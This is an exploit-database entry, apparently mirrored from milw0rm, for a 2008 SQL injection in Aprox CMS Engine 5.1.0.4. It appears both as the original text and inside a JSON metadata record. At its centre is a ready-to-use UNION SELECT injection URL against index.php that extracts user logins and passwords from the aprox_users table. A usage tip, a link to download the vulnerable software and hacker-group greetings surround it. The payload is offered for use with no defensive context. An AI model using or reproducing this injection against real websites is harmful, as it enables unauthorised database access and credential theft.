ID EXPLOITPACK:92119750E68980AC420EA199A2FD3073
Type exploitpack
Reporter Mr.SQL
Modified 2008-07-18T00:00:00
Description
Aprox CMS Engine 5.1.0.4 - index.php SQL Injection
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## Aprox CMS Engine V5.1.0.4 ( index.php page )
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f
##
## Email : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.Target.com/index.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,'MrSQL',0,password,login,0,0,0+FROM+aprox_users/*
##
########################
########################
-[[ NOTE ]]-
1 ) dont use the tags in the exploite most get the info without concat()
2 ) Download script : http://www.aprox.de/engine/data/files/AproxEngine_V5_1_04.zip
#######################################################################################################
#######################################################################################################
-(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################
# milw0rm.com [2008-07-18]
{"lastseen": "2020-04-01T19:04:04", "references": [], "description": "\nAprox CMS Engine 5.1.0.4 - index.php SQL Injection", "edition": 1, "reporter": "Mr.SQL", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2008-07-18T00:00:00", "title": "Aprox CMS Engine 5.1.0.4 - index.php SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:04", "rev": 2}, "score": {"value": 0.5, "vector": "NONE", "modified": "2020-04-01T19:04:04", "rev": 2}, "vulnersScore": 0.5}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2008-07-18T00:00:00", "id": "EXPLOITPACK:92119750E68980AC420EA199A2FD3073", "href": "", "viewCount": 1, "sourceData": "###############################################################\n#################### Viva IslaM Viva IslaM ####################\n##\n## Remote SQL injection Vulnerability\n##\n## Aprox CMS Engine V5.1.0.4 ( index.php page )\n## \n###############################################################\n###############################################################\n##\n## AuTh0r : Mr.SQL\n##\n## H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f\n##\n## Email : SQL@Hotmail.it\n##\n## SYRIAN Arab HACkErS\n########################\n########################\n##\n## -[[: Exploite :]]-\n##\n## www.Target.com/index.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,'MrSQL',0,password,login,0,0,0+FROM+aprox_users/*\n##\n########################\n########################\n -[[ NOTE ]]-\n1 ) dont use the tags in the exploite most get the info without concat()\n2 ) Download script : http://www.aprox.de/engine/data/files/AproxEngine_V5_1_04.zip\n\n#######################################################################################################\n#######################################################################################################\n -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-\n \n :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::\n#######################################################################################################\n#######################################################################################################\n\n# milw0rm.com [2008-07-18]", "cvss": {"score": 0.0, "vector": "NONE"}}
{}